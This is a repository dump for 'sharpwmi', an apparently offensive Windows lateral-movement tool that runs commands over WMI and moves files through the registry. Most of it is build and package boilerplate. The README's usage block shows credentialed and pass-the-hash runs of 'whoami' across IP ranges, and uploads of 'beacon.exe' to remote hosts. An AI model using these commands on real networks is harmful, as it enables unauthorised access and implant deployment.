├── .vs ├── ProjectSettings.json ├── VSWorkspaceState.json ├── sharpwmi │ └── v16 │ │ └── .suo └── slnx.sqlite ├── 1.png ├── 2.png ├── 3.png ├── README.md └── sharpwmi ├── .vs └── sharpwmi │ └── v16 │ └── .suo ├── packages ├── Costura.Fody.4.1.0 │ ├── .signature.p7s │ ├── Costura.Fody.4.1.0.nupkg │ ├── build │ │ └── Costura.Fody.props │ ├── lib │ │ └── net40 │ │ │ ├── Costura.dll │ │ │ └── Costura.xml │ └── weaver │ │ ├── Costura.Fody.dll │ │ └── Costura.Fody.xcf ├── Fody.6.0.0 │ ├── .signature.p7s │ ├── Fody.6.0.0.nupkg │ ├── build │ │ └── Fody.targets │ ├── netclassictask │ │ ├── Fody.dll │ │ ├── FodyCommon.dll │ │ ├── FodyHelpers.dll │ │ ├── FodyIsolated.dll │ │ ├── Mono.Cecil.Pdb.dll │ │ ├── Mono.Cecil.Pdb.pdb │ │ ├── Mono.Cecil.Rocks.dll │ │ ├── Mono.Cecil.Rocks.pdb │ │ ├── Mono.Cecil.dll │ │ └── Mono.Cecil.pdb │ └── netstandardtask │ │ ├── Fody.dll │ │ ├── FodyCommon.dll │ │ ├── FodyHelpers.dll │ │ ├── FodyIsolated.dll │ │ ├── Mono.Cecil.Pdb.dll │ │ ├── Mono.Cecil.Pdb.pdb │ │ ├── Mono.Cecil.Rocks.dll │ │ ├── Mono.Cecil.Rocks.pdb │ │ ├── Mono.Cecil.dll │ │ └── Mono.Cecil.pdb ├── IPAddressRange.4.1.1 │ ├── .signature.p7s │ ├── IPAddressRange.4.1.1.nupkg │ ├── lib │ │ ├── net45 │ │ │ ├── IPAddressRange.dll │ │ │ └── IPAddressRange.xml │ │ └── netstandard1.4 │ │ │ ├── IPAddressRange.dll │ │ │ └── IPAddressRange.xml │ └── nupkg-icon.png └── IPAddressRange.Signed.4.1.1 │ ├── .signature.p7s │ ├── IPAddressRange.Signed.4.1.1.nupkg │ └── nupkg-icon.png ├── sharpwmi.sln └── sharpwmi ├── FodyWeavers.xml ├── FodyWeavers.xsd ├── Program.cs ├── Properties └── AssemblyInfo.cs ├── app.config ├── bin ├── Debug │ ├── IPAddressRange.xml │ ├── a.txt │ ├── sharpwmi.exe │ ├── sharpwmi.exe.config │ └── sharpwmi.pdb └── Release │ ├── IPAddressRange.xml │ ├── sharpwmi.exe │ ├── sharpwmi.exe.config │ └── sharpwmi.pdb ├── demo.jpg ├── obj ├── Debug │ ├── .NETFramework,Version=v4.0.AssemblyAttributes.cs │ ├── .NETFramework,Version=v4.6.AssemblyAttributes.cs │ ├── Costura │ │ ├── 31160707620C9E949991D34B61D68F3469DB27DB.costura.ipaddressrange.dll.compressed │ │ └── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── sharpwmi.csproj.CopyComplete │ ├── sharpwmi.csproj.CoreCompileInputs.cache │ ├── sharpwmi.csproj.FileListAbsolute.txt │ ├── sharpwmi.csproj.Fody.CopyLocal.cache │ ├── sharpwmi.exe │ └── sharpwmi.pdb └── Release │ ├── .NETFramework,Version=v4.0.AssemblyAttributes.cs │ ├── .NETFramework,Version=v4.6.AssemblyAttributes.cs │ ├── Costura │ ├── 31160707620C9E949991D34B61D68F3469DB27DB.costura.ipaddressrange.dll.compressed │ └── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ ├── DesignTimeResolveAssemblyReferences.cache │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── sharpwmi.csproj.CopyComplete │ ├── sharpwmi.csproj.CoreCompileInputs.cache │ ├── sharpwmi.csproj.FileListAbsolute.txt │ ├── sharpwmi.csproj.Fody.CopyLocal.cache │ ├── sharpwmi.csprojAssemblyReference.cache │ ├── sharpwmi.exe │ └── sharpwmi.pdb ├── packages.config ├── sharpwmi.csproj └── sharpwmi.csproj.user /.vs/ProjectSettings.json: -------------------------------------------------------------------------------- 1 | { 2 | "CurrentProjectSetting": null 3 | } -------------------------------------------------------------------------------- /.vs/VSWorkspaceState.json: -------------------------------------------------------------------------------- 1 | { 2 | "ExpandedNodes": [ 3 | "" 4 | ], 5 | "PreviewInSolutionExplorer": false 6 | } -------------------------------------------------------------------------------- /.vs/sharpwmi/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/.vs/sharpwmi/v16/.suo -------------------------------------------------------------------------------- /.vs/slnx.sqlite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/.vs/slnx.sqlite -------------------------------------------------------------------------------- /1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/1.png -------------------------------------------------------------------------------- /2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/2.png -------------------------------------------------------------------------------- /3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/3.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpWmi 2 | 3 | ## 魔改 4 | ```bash 5 | 6 | sharpwmi.exe login 192.168.2.3 administrator 123 cmd whoami 7 | sharpwmi.exe login 192.168.2.3/24 administrator 123 cmd whoami 8 | sharpwmi.exe login 192.168.2.3-23 administrator 123 upload beacon.exe c:\beacon.exe 9 | sharpwmi.exe pth 192.168.2.3-192.168.2.77 cmd whoami 10 | sharpwmi.exe pth 192.168.2.3/255.255.255.0 upload beacon.exe c:\beacon.exe 11 | ``` 12 | 13 | ## 介绍: 14 | 15 | 这是一个基于135端口来进行横向移动的工具,具有执行命令和上传文件功能,通过wmi来执行命令,通过注册表来进行数据传输. 16 | 17 | ## 原理: 18 | ### 执行命令: 19 |    通过wmi来执行命令,server将命令结果存在本机注册表,然后client连接注册表进行读取命令结果 20 | 21 | ### 上传文件: 22 |    client将需要上传的文件放到server的注册表里面,然后server通过powershell来操作注册表方式来取文件然后释放到本地 23 | 24 | 25 | ## 优点: 26 | - 不依赖139和445端口 27 | 28 | ## 缺点: 29 | - 目前只支持上传512kb以下的文件,因为注册表每个值值长度不能超过512kb。 30 | - 执行命令和上传文件都依赖powershell 31 | 32 | ## todo: 33 | - 用添加增加多个值的方式来实现上传任意大小文件 34 | - 去除powershell依赖 35 | ![](2.png) 36 | ![](3.png) 37 | 38 | -------------------------------------------------------------------------------- /sharpwmi/.vs/sharpwmi/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/.vs/sharpwmi/v16/.suo -------------------------------------------------------------------------------- /sharpwmi/packages/Costura.Fody.4.1.0/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Costura.Fody.4.1.0/.signature.p7s -------------------------------------------------------------------------------- /sharpwmi/packages/Costura.Fody.4.1.0/Costura.Fody.4.1.0.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Costura.Fody.4.1.0/Costura.Fody.4.1.0.nupkg -------------------------------------------------------------------------------- /sharpwmi/packages/Costura.Fody.4.1.0/build/Costura.Fody.props: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /sharpwmi/packages/Costura.Fody.4.1.0/lib/net40/Costura.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Costura.Fody.4.1.0/lib/net40/Costura.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Costura.Fody.4.1.0/lib/net40/Costura.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Costura 5 | 6 | 7 | 8 | 9 | Contains methods for interacting with the Costura system. 10 | 11 | 12 | 13 | 14 | Call this to Initialize the Costura system. 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /sharpwmi/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.xcf: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks 7 | 8 | 9 | 10 | 11 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. 12 | 13 | 14 | 15 | 16 | A list of unmanaged 32 bit assembly names to include, delimited with line breaks. 17 | 18 | 19 | 20 | 21 | A list of unmanaged 64 bit assembly names to include, delimited with line breaks. 22 | 23 | 24 | 25 | 26 | The order of preloaded assemblies, delimited with line breaks. 27 | 28 | 29 | 30 | 31 | 32 | This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. 33 | 34 | 35 | 36 | 37 | Controls if .pdbs for reference assemblies are also embedded. 38 | 39 | 40 | 41 | 42 | Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. 43 | 44 | 45 | 46 | 47 | As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. 48 | 49 | 50 | 51 | 52 | Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. 53 | 54 | 55 | 56 | 57 | Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. 58 | 59 | 60 | 61 | 62 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | 63 | 64 | 65 | 66 | 67 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. 68 | 69 | 70 | 71 | 72 | A list of unmanaged 32 bit assembly names to include, delimited with |. 73 | 74 | 75 | 76 | 77 | A list of unmanaged 64 bit assembly names to include, delimited with |. 78 | 79 | 80 | 81 | 82 | The order of preloaded assemblies, delimited with |. 83 | 84 | 85 | -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/.signature.p7s -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/Fody.6.0.0.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/Fody.6.0.0.nupkg -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/build/Fody.targets: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | $(ProjectDir)FodyWeavers.xml 5 | $(MSBuildThisFileDirectory)..\ 6 | $(FodyPath)netstandardtask 7 | $(FodyPath)netclassictask 8 | $(FodyAssemblyDirectory)\Fody.dll 9 | $(DefaultItemExcludes);FodyWeavers.xsd 10 | true 11 | 15 12 | $([System.Version]::Parse($(MSBuildVersion)).Major) 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 37 | 38 | 40 | 59 | 60 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 76 | 77 | 81 | 82 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 100 | 101 | 108 | 109 | 110 | -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netclassictask/Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netclassictask/Fody.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netclassictask/FodyCommon.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netclassictask/FodyCommon.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netclassictask/FodyHelpers.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netclassictask/FodyHelpers.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netclassictask/FodyIsolated.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netclassictask/FodyIsolated.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Pdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Pdb.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Pdb.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Pdb.pdb -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Rocks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Rocks.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Rocks.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Rocks.pdb -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netclassictask/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netclassictask/Mono.Cecil.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netclassictask/Mono.Cecil.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netclassictask/Mono.Cecil.pdb -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netstandardtask/Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netstandardtask/Fody.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netstandardtask/FodyCommon.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netstandardtask/FodyCommon.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netstandardtask/FodyHelpers.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netstandardtask/FodyHelpers.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netstandardtask/FodyIsolated.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netstandardtask/FodyIsolated.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Pdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Pdb.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Pdb.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Pdb.pdb -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Rocks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Rocks.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Rocks.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Rocks.pdb -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.dll -------------------------------------------------------------------------------- /sharpwmi/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.pdb -------------------------------------------------------------------------------- /sharpwmi/packages/IPAddressRange.4.1.1/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/IPAddressRange.4.1.1/.signature.p7s -------------------------------------------------------------------------------- /sharpwmi/packages/IPAddressRange.4.1.1/IPAddressRange.4.1.1.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/IPAddressRange.4.1.1/IPAddressRange.4.1.1.nupkg -------------------------------------------------------------------------------- /sharpwmi/packages/IPAddressRange.4.1.1/lib/net45/IPAddressRange.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/IPAddressRange.4.1.1/lib/net45/IPAddressRange.dll -------------------------------------------------------------------------------- /sharpwmi/packages/IPAddressRange.4.1.1/lib/net45/IPAddressRange.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | IPAddressRange 5 | 6 | 7 | 8 | 9 | Counts the number of leading 1's in a bitmask. 10 | Returns null if value is invalid as a bitmask. 11 | 12 | 13 | 14 | 15 | 16 | 17 | Creates an empty range object, equivalent to "0.0.0.0/0". 18 | 19 | 20 | 21 | 22 | Creates a new range with the same start/end address (range of one) 23 | 24 | 25 | 26 | 27 | 28 | Create a new range from a begin and end address. 29 | Throws an exception if Begin comes after End, or the 30 | addresses are not in the same family. 31 | 32 | 33 | 34 | 35 | Creates a range from a base address and mask bits. 36 | This can also be used with to create a 37 | range based on a subnet mask. 38 | 39 | 40 | 41 | 42 | 43 | 44 | Takes a subnetmask (eg, "255.255.254.0") and returns the CIDR bit length of that 45 | address. Throws an exception if the passed address is not valid as a subnet mask. 46 | 47 | The subnet mask to use 48 | 49 | 50 | 51 | 52 | Returns the range in the format "begin-end", or 53 | as a single address if End is the same as Begin. 54 | 55 | 56 | 57 | 58 | 59 | Returns a Cidr String if this matches exactly a Cidr subnet 60 | 61 | 62 | 63 | 64 | Returns the input typed as IEnumerable<IPAddress> 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /sharpwmi/packages/IPAddressRange.4.1.1/lib/netstandard1.4/IPAddressRange.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/IPAddressRange.4.1.1/lib/netstandard1.4/IPAddressRange.dll -------------------------------------------------------------------------------- /sharpwmi/packages/IPAddressRange.4.1.1/lib/netstandard1.4/IPAddressRange.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | IPAddressRange 5 | 6 | 7 | 8 | 9 | Counts the number of leading 1's in a bitmask. 10 | Returns null if value is invalid as a bitmask. 11 | 12 | 13 | 14 | 15 | 16 | 17 | Creates an empty range object, equivalent to "0.0.0.0/0". 18 | 19 | 20 | 21 | 22 | Creates a new range with the same start/end address (range of one) 23 | 24 | 25 | 26 | 27 | 28 | Create a new range from a begin and end address. 29 | Throws an exception if Begin comes after End, or the 30 | addresses are not in the same family. 31 | 32 | 33 | 34 | 35 | Creates a range from a base address and mask bits. 36 | This can also be used with to create a 37 | range based on a subnet mask. 38 | 39 | 40 | 41 | 42 | 43 | 44 | Takes a subnetmask (eg, "255.255.254.0") and returns the CIDR bit length of that 45 | address. Throws an exception if the passed address is not valid as a subnet mask. 46 | 47 | The subnet mask to use 48 | 49 | 50 | 51 | 52 | Returns the range in the format "begin-end", or 53 | as a single address if End is the same as Begin. 54 | 55 | 56 | 57 | 58 | 59 | Returns a Cidr String if this matches exactly a Cidr subnet 60 | 61 | 62 | 63 | 64 | Returns the input typed as IEnumerable<IPAddress> 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /sharpwmi/packages/IPAddressRange.4.1.1/nupkg-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/IPAddressRange.4.1.1/nupkg-icon.png -------------------------------------------------------------------------------- /sharpwmi/packages/IPAddressRange.Signed.4.1.1/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/IPAddressRange.Signed.4.1.1/.signature.p7s -------------------------------------------------------------------------------- /sharpwmi/packages/IPAddressRange.Signed.4.1.1/IPAddressRange.Signed.4.1.1.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/IPAddressRange.Signed.4.1.1/IPAddressRange.Signed.4.1.1.nupkg -------------------------------------------------------------------------------- /sharpwmi/packages/IPAddressRange.Signed.4.1.1/nupkg-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/packages/IPAddressRange.Signed.4.1.1/nupkg-icon.png -------------------------------------------------------------------------------- /sharpwmi/sharpwmi.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29613.14 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "sharpwmi", "sharpwmi\sharpwmi.csproj", "{BB357D38-6DC1-4F20-A54C-D664BD20677E}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {BB357D38-6DC1-4F20-A54C-D664BD20677E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {BB357D38-6DC1-4F20-A54C-D664BD20677E}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {BB357D38-6DC1-4F20-A54C-D664BD20677E}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {BB357D38-6DC1-4F20-A54C-D664BD20677E}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {BADC1E26-3340-420F-A20A-DEC0A024C42F} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/FodyWeavers.xsd: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks 13 | 14 | 15 | 16 | 17 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. 18 | 19 | 20 | 21 | 22 | A list of unmanaged 32 bit assembly names to include, delimited with line breaks. 23 | 24 | 25 | 26 | 27 | A list of unmanaged 64 bit assembly names to include, delimited with line breaks. 28 | 29 | 30 | 31 | 32 | The order of preloaded assemblies, delimited with line breaks. 33 | 34 | 35 | 36 | 37 | 38 | This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. 39 | 40 | 41 | 42 | 43 | Controls if .pdbs for reference assemblies are also embedded. 44 | 45 | 46 | 47 | 48 | Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. 49 | 50 | 51 | 52 | 53 | As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. 54 | 55 | 56 | 57 | 58 | Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. 59 | 60 | 61 | 62 | 63 | Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. 64 | 65 | 66 | 67 | 68 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | 69 | 70 | 71 | 72 | 73 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. 74 | 75 | 76 | 77 | 78 | A list of unmanaged 32 bit assembly names to include, delimited with |. 79 | 80 | 81 | 82 | 83 | A list of unmanaged 64 bit assembly names to include, delimited with |. 84 | 85 | 86 | 87 | 88 | The order of preloaded assemblies, delimited with |. 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. 97 | 98 | 99 | 100 | 101 | A comma-separated list of error codes that can be safely ignored in assembly verification. 102 | 103 | 104 | 105 | 106 | 'false' to turn off automatic generation of the XML Schema file. 107 | 108 | 109 | 110 | 111 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/Program.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/sharpwmi/85d2be13d2ae7d9c6103c959964e36a36e9026cb/sharpwmi/sharpwmi/Program.cs -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的一般信息由以下 6 | // 控制。更改这些特性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("sharpwmi")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("sharpwmi")] 13 | [assembly: AssemblyCopyright("Copyright © 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 将 ComVisible 设置为 false 会使此程序集中的类型 18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 19 | //请将此类型的 ComVisible 特性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("bb357d38-6dc1-4f20-a54c-d664bd20677e")] 24 | 25 | // 程序集的版本信息由下列四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 生成号 30 | // 修订号 31 | // 32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 33 | //通过使用 "*",如下所示: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /sharpwmi/sharpwmi/bin/Debug/IPAddressRange.xml: 